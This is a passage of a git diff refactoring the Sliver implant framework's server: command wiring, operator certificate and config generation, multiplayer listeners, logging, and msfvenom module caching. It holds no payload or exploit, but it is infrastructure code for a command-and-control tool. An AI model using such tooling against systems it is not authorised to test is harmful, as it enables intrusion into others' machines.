"github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/server/command/assets" + "github.com/bishopfox/sliver/server/command/builder" + "github.com/bishopfox/sliver/server/command/certs" + "github.com/bishopfox/sliver/server/command/version" +) + +// TeamserverCommands is the equivalent of client/command.ServerCommands(), but for server-binary only ones. +func TeamserverCommands(team *server.Server, con *console.SliverClient) command.SliverBinder { + return func(con *console.SliverClient) (cmds []*cobra.Command) { + // Teamserver management + teamclientCmds := commands.Generate(team, con.Teamclient) + teamclientCmds.GroupID = constants.GenericHelpGroup + cmds = append(cmds, teamclientCmds) + + // Sliver-specific + cmds = append(cmds, version.Commands(con)...) + cmds = append(cmds, assets.Commands()...) + cmds = append(cmds, certs.Commands(con)...) + + // Commands requiring the server to be a remote teamclient. + cmds = append(cmds, builder.Commands(con, team)...) + + return cmds + } +} diff --git a/server/cli/version.go b/server/command/version/version.go similarity index 68% rename from server/cli/version.go rename to server/command/version/version.go index b9784e35bb..c8fdbb365b 100644 --- a/server/cli/version.go +++ b/server/command/version/version.go @@ -1,4 +1,4 @@ -package cli +package version /* Sliver Implant Framework @@ -21,15 +21,20 @@ package cli import ( "fmt" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/version" "github.com/spf13/cobra" ) -var versionCmd = &cobra.Command{ - Use: "version", - Short: "Print version and exit", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - fmt.Printf("%s\n", version.FullVersion()) - }, +func Commands(con *console.SliverClient) []*cobra.Command { + versionCmd := &cobra.Command{ + Use: "version", + Short: "Print version and exit", + Long: ``, + Run: func(cmd *cobra.Command, args []string) { + fmt.Printf("%s\n", version.FullVersion()) + }, + } + + return []*cobra.Command{versionCmd} } diff --git a/server/configs/server.go b/server/configs/server.go index 2f9c004020..058b4de28d 100644 --- a/server/configs/server.go +++ b/server/configs/server.go @@ -35,9 +35,7 @@ const ( serverConfigFileName = "server.json" ) -var ( - serverConfigLog = log.NamedLogger("config", "server") -) +var serverConfigLog = log.NamedLogger("config", "server") // GetServerConfigPath - File path to config.json func GetServerConfigPath() string { @@ -63,18 +61,10 @@ type DaemonConfig struct { // JobConfig - Restart Jobs on Load type JobConfig struct { - Multiplayer []*MultiplayerJobConfig `json:"multiplayer"` - MTLS []*MTLSJobConfig `json:"mtls,omitempty"` - WG []*WGJobConfig `json:"wg,omitempty"` - DNS []*DNSJobConfig `json:"dns,omitempty"` - HTTP []*HTTPJobConfig `json:"http,omitempty"` -} - -type MultiplayerJobConfig struct { - Host string `json:"host"` - Port uint16 `json:"port"` - JobID string `json:"job_id"` - Tailscale bool `json:"tailscale"` + MTLS []*MTLSJobConfig `json:"mtls,omitempty"` + WG []*WGJobConfig `json:"wg,omitempty"` + DNS []*DNSJobConfig `json:"dns,omitempty"` + HTTP []*HTTPJobConfig `json:"http,omitempty"` } // MTLSJobConfig - Per-type job configs @@ -142,7 +132,7 @@ func (c *ServerConfig) Save() error { configDir := filepath.Dir(configPath) if _, err := os.Stat(configDir); os.IsNotExist(err) { serverConfigLog.Debugf("Creating config dir %s", configDir) - err := os.MkdirAll(configDir, 0700) + err := os.MkdirAll(configDir, 0o700) if err != nil { return err } @@ -152,23 +142,13 @@ func (c *ServerConfig) Save() error { return err } serverConfigLog.Infof("Saving config to %s", configPath) - err = os.WriteFile(configPath, data, 0600) + err = os.WriteFile(configPath, data, 0o600) if err != nil { serverConfigLog.Errorf("Failed to write config %s", err) } return nil } -// AddMultiplayerJob - Add Job Configs -func (c *ServerConfig) AddMultiplayerJob(config *MultiplayerJobConfig) error { - if c.Jobs == nil { - c.Jobs = &JobConfig{} - } - config.JobID = getRandomID() - c.Jobs.Multiplayer = append(c.Jobs.Multiplayer, config) - return c.Save() -} - // AddMTLSJob - Add Job Configs func (c *ServerConfig) AddMTLSJob(config *MTLSJobConfig) error { if c.Jobs == nil { diff --git a/server/console/console-admin.go b/server/console/console-admin.go deleted file mode 100644 index 34a8aa22ae..0000000000 --- a/server/console/console-admin.go +++ /dev/null @@ -1,281 +0,0 @@ -package console - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "crypto/sha256" - "encoding/hex" - "encoding/json" - "errors" - "fmt" - "io/ioutil" - "log" - "os" - "path/filepath" - "regexp" - - "github.com/spf13/cobra" - - consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" - "github.com/bishopfox/sliver/server/db/models" - "github.com/bishopfox/sliver/server/transport" -) - -const ( - // ANSI Colors - normal = "\033[0m" - black = "\033[30m" - red = "\033[31m" - green = "\033[32m" - orange = "\033[33m" - blue = "\033[34m" - purple = "\033[35m" - cyan = "\033[36m" - gray = "\033[37m" - bold = "\033[1m" - clearln = "\r\x1b[2K" - upN = "\033[%dA" - downN = "\033[%dB" - underline = "\033[4m" - - // Info - Display colorful information - Info = bold + cyan + "[*] " + normal - // Warn - Warn a user - Warn = bold + red + "[!] " + normal - // Debug - Display debug information - Debug = bold + purple + "[-] " + normal - // Woot - Display success - Woot = bold + green + "[$] " + normal -) - -var namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars - -// ClientConfig - Client JSON config -type ClientConfig struct { - Operator string `json:"operator"` - Token string `json:"token"` - LHost string `json:"lhost"` - LPort int `json:"lport"` - CACertificate string `json:"ca_certificate"` - PrivateKey string `json:"private_key"` - Certificate string `json:"certificate"` -} - -func newOperatorCmd(cmd *cobra.Command, _ []string) { - name, _ := cmd.Flags().GetString("name") - lhost, _ := cmd.Flags().GetString("lhost") - lport, _ := cmd.Flags().GetUint16("lport") - save, _ := cmd.Flags().GetString("save") - - if save == "" { - save, _ = os.Getwd() - } - - fmt.Printf(Info + "Generating new client certificate, please wait ... \n") - configJSON, err := NewOperatorConfig(name, lhost, lport) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - saveTo, _ := filepath.Abs(save) - fi, err := os.Stat(saveTo) - if !os.IsNotExist(err) && !fi.IsDir() { - fmt.Printf(Warn+"File already exists %s\n", err) - return - } - if !os.IsNotExist(err) && fi.IsDir() { - filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost)) - saveTo = filepath.Join(saveTo, filename) - } - err = ioutil.WriteFile(saveTo, configJSON, 0o600) - if err != nil { - fmt.Printf(Warn+"Failed to write config to: %s (%s) \n", saveTo, err) - return - } - fmt.Printf(Info+"Saved new client config to: %s \n", saveTo) -} - -// NewOperatorConfig - Generate a new player/client/operator configuration -func NewOperatorConfig(operatorName string, lhost string, lport uint16) ([]byte, error) { - if !namePattern.MatchString(operatorName) { - return nil, errors.New("invalid operator name (alphanumerics only)") - } - if operatorName == "" { - return nil, errors.New("operator name required") - } - if lhost == "" { - return nil, errors.New("invalid lhost") - } - - rawToken := models.GenerateOperatorToken() - digest := sha256.Sum256([]byte(rawToken)) - dbOperator := &models.Operator{ - Name: operatorName, - Token: hex.EncodeToString(digest[:]), - } - err := db.Session().Save(dbOperator).Error - if err != nil { - return nil, err - } - - publicKey, privateKey, err := certs.OperatorClientGenerateCertificate(operatorName) - if err != nil { - return nil, fmt.Errorf("failed to generate certificate %s", err) - } - caCertPEM, _, _ := certs.GetCertificateAuthorityPEM(certs.OperatorCA) - config := ClientConfig{ - Operator: operatorName, - Token: rawToken, - LHost: lhost, - LPort: int(lport), - CACertificate: string(caCertPEM), - PrivateKey: string(privateKey), - Certificate: string(publicKey), - } - return json.Marshal(config) -} - -func kickOperatorCmd(cmd *cobra.Command, _ []string) { - operator, _ := cmd.Flags().GetString("name") - - fmt.Printf(Info+"Removing auth token(s) for %s, please wait ... \n", operator) - err := db.Session().Where(&models.Operator{ - Name: operator, - }).Delete(&models.Operator{}).Error - if err != nil { - return - } - transport.ClearTokenCache() - fmt.Printf(Info+"Removing client certificate(s) for %s, please wait ... \n", operator) - err = certs.OperatorClientRemoveCertificate(operator) - if err != nil { - fmt.Printf(Warn+"Failed to remove the operator certificate: %v \n", err) - return - } - fmt.Printf(Info+"Operator %s has been kicked out.\n", operator) -} - -func StartPersistentJobs(cfg *configs.ServerConfig) error { - if cfg.Jobs == nil { - return nil - } - for _, j := range cfg.Jobs.Multiplayer { - if j.Tailscale { - jobStartTsNetClientListener(j.Host, j.Port) - } else { - jobStartMtlsClientListener(j.Host, j.Port) - } - } - return nil -} - -func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) { - lhost, _ := cmd.Flags().GetString("lhost") - lport, _ := cmd.Flags().GetUint16("lport") - persistent, _ := cmd.Flags().GetBool("persistent") - tailscale, _ := cmd.Flags().GetBool("tailscale") - - var err error - if tailscale { - _, err = jobStartTsNetClientListener(lhost, lport) - } else { - _, err = jobStartMtlsClientListener(lhost, lport) - } - if err == nil { - fmt.Printf(Info + "Multiplayer mode enabled!\n") - if persistent { - serverConfig := configs.GetServerConfig() - serverConfig.AddMultiplayerJob(&configs.MultiplayerJobConfig{ - Host: lhost, - Port: lport, - Tailscale: tailscale, - }) - serverConfig.Save() - } - } else { - fmt.Printf(Warn+"Failed to start job %v\n", err) - } -} - -func jobStartMtlsClientListener(host string, port uint16) (int, error) { - _, ln, err := transport.StartMtlsClientListener(host, port) - if err != nil { - return -1, err // If we fail to bind don't setup the Job - } - - job := &core.Job{ - ID: core.NextJobID(), - Name: "grpc/mtls", - Description: "client listener", - Protocol: "tcp", - Port: port, - JobCtrl: make(chan bool), - } - - go func() { - <-job.JobCtrl - log.Printf("Stopping client listener (%d) ...\n", job.ID) - ln.Close() // Kills listener GoRoutines in startMutualTLSListener() but NOT connections - - core.Jobs.Remove(job) - core.EventBroker.Publish(core.Event{ - Job: job, - EventType: consts.JobStoppedEvent, - }) - }() - - core.Jobs.Add(job) - return job.ID, nil -} - -func jobStartTsNetClientListener(host string, port uint16) (int, error) { - _, ln, err := transport.StartTsNetClientListener(host, port) - if err != nil { - return -1, err // If we fail to bind don't setup the Job - } - - job := &core.Job{ - ID: core.NextJobID(), - Name: "grpc/tsnet", - Description: "client listener", - Protocol: "tcp", - Port: port, - JobCtrl: make(chan bool), - } - - go func() { - <-job.JobCtrl - log.Printf("Stopping client listener (%d) ...\n", job.ID) - ln.Close() // Kills listener GoRoutines in startMutualTLSListener() but NOT connections - - core.Jobs.Remove(job) - core.EventBroker.Publish(core.Event{ - Job: job, - EventType: consts.JobStoppedEvent, - }) - }() - - core.Jobs.Add(job) - return job.ID, nil -} diff --git a/server/console/console-admin_test.go b/server/console/console-admin_test.go deleted file mode 100644 index ba7f84935f..0000000000 --- a/server/console/console-admin_test.go +++ /dev/null @@ -1,46 +0,0 @@ -package console - -import ( - "encoding/json" - "encoding/pem" - "testing" - - clienttransport "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/server/certs" -) - -func TestRootOnlyVerifyCertificate(t *testing.T) { - certs.SetupCAs() - - data, err := NewOperatorConfig("zerocool", "localhost", uint16(1337)) - if err != nil { - t.Fatalf("failed to generate test player profile %s", err) - } - config := &ClientConfig{} - err = json.Unmarshal(data, config) - if err != nil { - t.Fatalf("failed to parse client config %s", err) - } - - _, _, err = certs.OperatorServerGetCertificate("localhost") - if err == certs.ErrCertDoesNotExist { - certs.OperatorServerGenerateCertificate("localhost") - } - - // Test with a valid certificate - certPEM, _, _ := certs.OperatorServerGetCertificate("localhost") - block, _ := pem.Decode(certPEM) - err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) - if err != nil { - t.Fatalf("root only verify certificate error: %s", err) - } - - // Test with wrong CA - wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false) - block, _ = pem.Decode(wrongCert) - err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) - if err == nil { - t.Fatal("root only verify cert verified a certificate with invalid ca!") - } - -} diff --git a/server/console/console.go b/server/console/console.go deleted file mode 100644 index 095b15fb4d..0000000000 --- a/server/console/console.go +++ /dev/null @@ -1,122 +0,0 @@ -package console - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - "net" - - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - - "github.com/bishopfox/sliver/client/command" - "github.com/bishopfox/sliver/client/command/help" - "github.com/bishopfox/sliver/client/console" - consts "github.com/bishopfox/sliver/client/constants" - clienttransport "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/transport" - "google.golang.org/grpc" -) - -// Start - Starts the server console -func Start() { - _, ln, _ := transport.LocalListener() - ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { - return ln.Dial() - }) - - options := []grpc.DialOption{ - ctxDialer, - grpc.WithInsecure(), // This is an in-memory listener, no need for secure transport - grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(clienttransport.ClientMaxReceiveMessageSize)), - } - conn, err := grpc.DialContext(context.Background(), "bufnet", options...) - if err != nil { - fmt.Printf(Warn+"Failed to dial bufnet: %s\n", err) - return - } - defer conn.Close() - localRPC := rpcpb.NewSliverRPCClient(conn) - if err := configs.CheckHTTPC2ConfigErrors(); err != nil { - fmt.Printf(Warn+"Error in HTTP C2 config: %s\n", err) - } - - con := console.NewConsole(false) - console.StartClient(con, localRPC, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true) - - con.App.Start() -} - -// serverOnlyCmds - Server only commands -func serverOnlyCmds() (commands []*cobra.Command) { - // [ Multiplayer ] ----------------------------------------------------------------- - - startMultiplayer := &cobra.Command{ - Use: consts.MultiplayerModeStr, - Short: "Enable multiplayer mode", - Long: help.GetHelpFor([]string{consts.MultiplayerModeStr}), - Run: startMultiplayerModeCmd, - GroupID: consts.MultiplayerHelpGroup, - } - command.Flags("multiplayer", false, startMultiplayer, func(f *pflag.FlagSet) { - f.StringP("lhost", "L", "", "hostname to bind server to") - f.Uint16P("lport", "l", 31337, "tcp listen port") - f.BoolP("tailscale", "T", false, "only expose multiplayer interface over Tailscale (requires TS_AUTHKEY)") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - - commands = append(commands, startMultiplayer) - - newOperator := &cobra.Command{ - Use: consts.NewOperatorStr, - Short: "Create a new operator config file", - Long: help.GetHelpFor([]string{consts.NewOperatorStr}), - Run: newOperatorCmd, - GroupID: consts.MultiplayerHelpGroup, - } - command.Flags("operator", false, newOperator, func(f *pflag.FlagSet) { - f.StringP("lhost", "l", "", "listen host") - f.Uint16P("lport", "p", 31337, "listen port") - f.StringP("save", "s", "", "directory/file in which to save config") - f.StringP("name", "n", "", "operator name") - }) - command.FlagComps(newOperator, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionDirectories() - }) - commands = append(commands, newOperator) - - kickOperator := &cobra.Command{ - Use: consts.KickOperatorStr, - Short: "Kick an operator from the server", - Long: help.GetHelpFor([]string{consts.KickOperatorStr}), - Run: kickOperatorCmd, - GroupID: consts.MultiplayerHelpGroup, - } - - command.Flags("operator", false, kickOperator, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "operator name") - }) - commands = append(commands, kickOperator) - - return -} diff --git a/server/core/clients.go b/server/core/clients.go index aa2d49d091..96c90755e8 100644 --- a/server/core/clients.go +++ b/server/core/clients.go @@ -23,6 +23,7 @@ import ( consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" + "golang.org/x/exp/slices" ) var ( @@ -72,7 +73,9 @@ func (cc *clients) ActiveOperators() []string { defer cc.mutex.Unlock() operators := []string{} for _, client := range cc.active { - operators = append(operators, client.Operator.Name) + if !slices.Contains(operators, client.Operator.Name) { + operators = append(operators, client.Operator.Name) + } } return operators } diff --git a/server/core/events.go b/server/core/events.go index 9313696151..d5114df3e6 100644 --- a/server/core/events.go +++ b/server/core/events.go @@ -24,11 +24,17 @@ import ( const ( // Size is arbitrary, just want to avoid weird cases where we'd block on channel sends - eventBufSize = 5 + // + // NOTE: Changed by me: when clients are one-time exec CLI commands, you don't know how + // fast they connect/disconnect from their RPC.Events() call. + // When the event channels are buffered, sooner or later the broker writes to a closed + // channel. Just make it one so that this does not happen. + eventBufSize = 0 ) // Event - An event is fired when there's a state change involving a -// session, job, or client. +// +// session, job, or client. type Event struct { Session *Session Job *Job @@ -57,6 +63,7 @@ func (broker *eventBroker) Start() { case <-broker.stop: for sub := range subscribers { close(sub) + delete(subscribers, sub) } return case sub := <-broker.subscribe: @@ -106,7 +113,5 @@ func newBroker() *eventBroker { return broker } -var ( - // EventBroker - Distributes event messages - EventBroker = newBroker() -) +// EventBroker - Distributes event messages +var EventBroker = newBroker() diff --git a/server/core/rtunnels/rtunnels.go b/server/core/rtunnels/rtunnels.go index 4841989f51..312f254461 100644 --- a/server/core/rtunnels/rtunnels.go +++ b/server/core/rtunnels/rtunnels.go @@ -10,7 +10,7 @@ var ( mutex sync.RWMutex ) -// RTunnel - Duplex byte read/write +// RTunnel - Duplex byte read/write. type RTunnel struct { ID uint64 SessionID string @@ -62,7 +62,7 @@ func (c *RTunnel) IncWriteSequence() { c.writeSequence += 1 } -// Close - close RTunnel reader and writer +// Close - close RTunnel reader and writer. func (c *RTunnel) Close() { for _, rc := range c.Readers { if rc != nil { @@ -72,14 +72,14 @@ func (c *RTunnel) Close() { c.Writer.Close() } -// Tunnel - Add tunnel to mapping +// Tunnel - Add tunnel to mapping. func GetRTunnel(ID uint64) *RTunnel { mutex.RLock() defer mutex.RUnlock() return Rtunnels[ID] } -// AddTunnel - Add tunnel to mapping +// AddTunnel - Add tunnel to mapping. func AddRTunnel(tun *RTunnel) { mutex.Lock() defer mutex.Unlock() @@ -87,7 +87,7 @@ func AddRTunnel(tun *RTunnel) { Rtunnels[tun.ID] = tun } -// RemoveTunnel - Add tunnel to mapping +// RemoveTunnel - Add tunnel to mapping. func RemoveRTunnel(ID uint64) { mutex.Lock() defer mutex.Unlock() diff --git a/server/daemon/README.md b/server/daemon/README.md deleted file mode 100644 index 8c8d1b9add..0000000000 --- a/server/daemon/README.md +++ /dev/null @@ -1,4 +0,0 @@ -Daemon -====== - -This is the main function when the application is executed as a daemon instead of in console mode. It simply starts the MTLS listener and responds to SIG messages. diff --git a/server/daemon/daemon.go b/server/daemon/daemon.go deleted file mode 100644 index d673142fcd..0000000000 --- a/server/daemon/daemon.go +++ /dev/null @@ -1,73 +0,0 @@ -package daemon - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "os" - "os/signal" - "syscall" - - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/transport" -) - -var ( - serverConfig = configs.GetServerConfig() - daemonLog = log.NamedLogger("daemon", "main") - - // BlankHost is a blank hostname - BlankHost = "-" - // BlankPort is a blank port number - BlankPort = uint16(0) -) - -// Start - Start as daemon process -func Start(host string, port uint16) { - - // cli args take president over config - if host == BlankHost { - daemonLog.Info("No cli lhost, using config file or default value") - host = serverConfig.DaemonConfig.Host - } - if port == BlankPort { - daemonLog.Info("No cli lport, using config file or default value") - port = uint16(serverConfig.DaemonConfig.Port) - } - - daemonLog.Infof("Starting Sliver daemon %s:%d ...", host, port) - _, ln, err := transport.StartMtlsClientListener(host, port) - if err != nil { - fmt.Printf("[!] Failed to start daemon %s", err) - daemonLog.Errorf("Error starting client listener %s", err) - os.Exit(1) - } - - done := make(chan bool) - signals := make(chan os.Signal, 1) - signal.Notify(signals, syscall.SIGTERM) - go func() { - <-signals - daemonLog.Infof("Received SIGTERM, exiting ...") - ln.Close() - done <- true - }() - <-done -} diff --git a/server/encoders/encoders.go b/server/encoders/encoders.go index b3ddd766d8..51ad576fdc 100644 --- a/server/encoders/encoders.go +++ b/server/encoders/encoders.go @@ -51,7 +51,9 @@ var ( Nop = util.NoEncoder{} ) -func init() { +// Setup is an init function to automatically setup default encoders. +// Called in the root sliver server binary command pre-runners. +func Setup() { util.SetEnglishDictionary(assets.English()) TrafficEncoderFS = PassthroughEncoderFS{ rootDir: filepath.Join(assets.GetRootAppDir(), "traffic-encoders"), @@ -90,7 +92,7 @@ func SaveTrafficEncoder(name string, wasmBin []byte) error { return fmt.Errorf("invalid encoder name, must end with .wasm") } wasmFilePath := filepath.Join(assets.GetTrafficEncoderDir(), filepath.Base(name)) - err := os.WriteFile(wasmFilePath, wasmBin, 0600) + err := os.WriteFile(wasmFilePath, wasmBin, 0o600) if err != nil { return err } @@ -127,7 +129,6 @@ func RemoveTrafficEncoder(name string) error { // loadTrafficEncodersFromFS - Loads the wasm traffic encoders from the filesystem, for the // server these will be loaded from: /traffic-encoders/*.wasm func loadTrafficEncodersFromFS(encodersFS util.EncoderFS, logger func(string)) error { - // Reset references pointing to traffic encoders for _, encoder := range TrafficEncoderMap { delete(EncoderMap, encoder.ID) diff --git a/server/log/audit.go b/server/log/audit.go index ac45ceded0..16e7969816 100644 --- a/server/log/audit.go +++ b/server/log/audit.go @@ -26,16 +26,14 @@ import ( "github.com/sirupsen/logrus" ) -var ( - // AuditLogger - Single audit log - AuditLogger = newAuditLogger() -) +// AuditLogger - Single audit log. +var AuditLogger = newAuditLogger() func newAuditLogger() *logrus.Logger { auditLogger := logrus.New() auditLogger.Formatter = &logrus.JSONFormatter{} jsonFilePath := filepath.Join(GetLogDir(), "audit.json") - jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) + jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) if err != nil { panic(fmt.Sprintf("Failed to open log file %v", err)) } diff --git a/server/log/log.go b/server/log/log.go index 417627b85f..4a322403f0 100644 --- a/server/log/log.go +++ b/server/log/log.go @@ -35,13 +35,13 @@ const ( ) var ( - // RootLoggerName - Root logger name, contains all log data + // RootLoggerName - Root logger name, contains all log data. RootLoggerName = "root" - // RootLogger - Root Logger + // RootLogger - Root Logger. RootLogger = rootLogger() ) -// NamedLogger - Returns a logger wrapped with pkg/stream fields +// NamedLogger - Returns a logger wrapped with pkg/stream fields. func NamedLogger(pkg, stream string) *logrus.Entry { return RootLogger.WithFields(logrus.Fields{ "pkg": pkg, @@ -49,9 +49,8 @@ func NamedLogger(pkg, stream string) *logrus.Entry { }) } -// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/ +// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/. func GetRootAppDir() string { - value := os.Getenv(envVarName) var dir string @@ -63,7 +62,7 @@ func GetRootAppDir() string { } if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { panic("Cannot write to sliver root dir") } @@ -71,18 +70,18 @@ func GetRootAppDir() string { return dir } -// GetLogDir - Return the log dir +// GetLogDir - Return the log dir. func GetLogDir() string { rootDir := GetRootAppDir() if _, err := os.Stat(rootDir); os.IsNotExist(err) { - err = os.MkdirAll(rootDir, 0700) + err = os.MkdirAll(rootDir, 0o700) if err != nil { panic(err) } } logDir := path.Join(rootDir, "logs") if _, err := os.Stat(logDir); os.IsNotExist(err) { - err = os.MkdirAll(logDir, 0700) + err = os.MkdirAll(logDir, 0o700) if err != nil { panic(err) } @@ -90,12 +89,12 @@ func GetLogDir() string { return logDir } -// RootLogger - Returns the root logger +// RootLogger - Returns the root logger. func rootLogger() *logrus.Logger { rootLogger := logrus.New() rootLogger.Formatter = &logrus.JSONFormatter{} jsonFilePath := filepath.Join(GetLogDir(), "sliver.json") - jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644) if err != nil { panic(fmt.Sprintf("Failed to open log file %v", err)) } @@ -106,7 +105,7 @@ func rootLogger() *logrus.Logger { return rootLogger } -// RootLogger - Returns the root logger +// RootLogger - Returns the root logger. func txtLogger() *logrus.Logger { txtLogger := logrus.New() txtLogger.Formatter = &logrus.TextFormatter{ @@ -114,7 +113,7 @@ func txtLogger() *logrus.Logger { FullTimestamp: true, } txtFilePath := filepath.Join(GetLogDir(), "sliver.log") - txtFile, err := os.OpenFile(txtFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + txtFile, err := os.OpenFile(txtFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644) if err != nil { panic(fmt.Sprintf("Failed to open log file %v", err)) } @@ -123,13 +122,13 @@ func txtLogger() *logrus.Logger { return txtLogger } -// TxtHook - Hook in a textual version of the logs +// TxtHook - Hook in a textual version of the logs. type TxtHook struct { Name string logger *logrus.Logger } -// NewTxtHook - returns a new txt hook +// NewTxtHook - returns a new txt hook. func NewTxtHook(name string) *TxtHook { hook := &TxtHook{ Name: name, @@ -138,7 +137,7 @@ func NewTxtHook(name string) *TxtHook { return hook } -// Fire - Implements the fire method of the Logrus hook +// Fire - Implements the fire method of the Logrus hook. func (hook *TxtHook) Fire(entry *logrus.Entry) error { if hook.logger == nil { return errors.New("no txt logger") @@ -172,12 +171,12 @@ func (hook *TxtHook) Fire(entry *logrus.Entry) error { return nil } -// Levels - Hook all levels +// Levels - Hook all levels. func (hook *TxtHook) Levels() []logrus.Level { return logrus.AllLevels } -// RootLogger - Returns the root logger +// RootLogger - Returns the root logger. func stdoutLogger() *logrus.Logger { txtLogger := logrus.New() txtLogger.Formatter = &logrus.TextFormatter{ @@ -189,13 +188,13 @@ func stdoutLogger() *logrus.Logger { return txtLogger } -// TxtHook - Hook in a textual version of the logs +// TxtHook - Hook in a textual version of the logs. type StdoutHook struct { Name string logger *logrus.Logger } -// NewTxtHook - returns a new txt hook +// NewTxtHook - returns a new txt hook. func NewStdoutHook(name string) *StdoutHook { hook := &StdoutHook{ Name: name, @@ -204,7 +203,7 @@ func NewStdoutHook(name string) *StdoutHook { return hook } -// Fire - Implements the fire method of the Logrus hook +// Fire - Implements the fire method of the Logrus hook. func (hook *StdoutHook) Fire(entry *logrus.Entry) error { if hook.logger == nil { return errors.New("no txt logger") @@ -238,12 +237,12 @@ func (hook *StdoutHook) Fire(entry *logrus.Entry) error { return nil } -// Levels - Hook all levels +// Levels - Hook all levels. func (hook *StdoutHook) Levels() []logrus.Level { return logrus.AllLevels } -// LevelFrom - returns level from int +// LevelFrom - returns level from int. func LevelFrom(level int) logrus.Level { switch level { case 0: diff --git a/server/msf/msf.go b/server/msf/msf.go index 27f3a6e3a8..b4f1ec1f70 100644 --- a/server/msf/msf.go +++ b/server/msf/msf.go @@ -22,10 +22,15 @@ import ( "bytes" "fmt" "net/url" + "os" "os/exec" + "path/filepath" "strconv" "strings" + "sync" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/server/assets" "github.com/bishopfox/sliver/server/log" ) @@ -33,6 +38,7 @@ const ( consoleBin = "msfconsole" venomBin = "msfvenom" sep = "/" + msfDir = "msf" ) var ( @@ -82,7 +88,6 @@ var ( "csharp": true, "dw": true, "dword": true, - "exe": true, "hex": true, "java": true, "js_be": true, @@ -101,8 +106,17 @@ var ( "vbapplication": true, "vbscript": true, } + + msfModuleTypes = []string{ + "encoders", + "payloads", + "formats", + "archs", + } ) +var msfCache = sync.Map{} + // VenomConfig - type VenomConfig struct { Os string @@ -118,6 +132,76 @@ type VenomConfig struct { AdvOptions string } +// CacheModules parses the text output of some our relevant +// Metasploit generation helpers, to be used for completions. +func CacheModules() { + if _, err := exec.LookPath(venomBin); err != nil { + return + } + + msfLog.Infof("Caching msfvenom data (this may take a few seconds)") + + all := sync.WaitGroup{} + + for i := range msfModuleTypes { + all.Add(1) + target := msfModuleTypes[i] + + go func() { + defer all.Done() + + result, err := venomCmd([]string{"--list", target}) + if err != nil { + msfLog.Error(err) + return + } + + fileName := filepath.Join(MsfDir(), "msf-"+target+".cache") + if err := os.WriteFile(fileName, result, 0o600); err != nil { + msfLog.Error(err) + } + }() + } + + all.Wait() + msfLog.Infof("Done caching msfvenom data") +} + +// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/ +func MsfDir() string { + msfDir := filepath.Join(assets.GetRootAppDir(), msfDir) + + if _, err := os.Stat(msfDir); os.IsNotExist(err) { + err = os.MkdirAll(msfDir, 0o700) + if err != nil { + 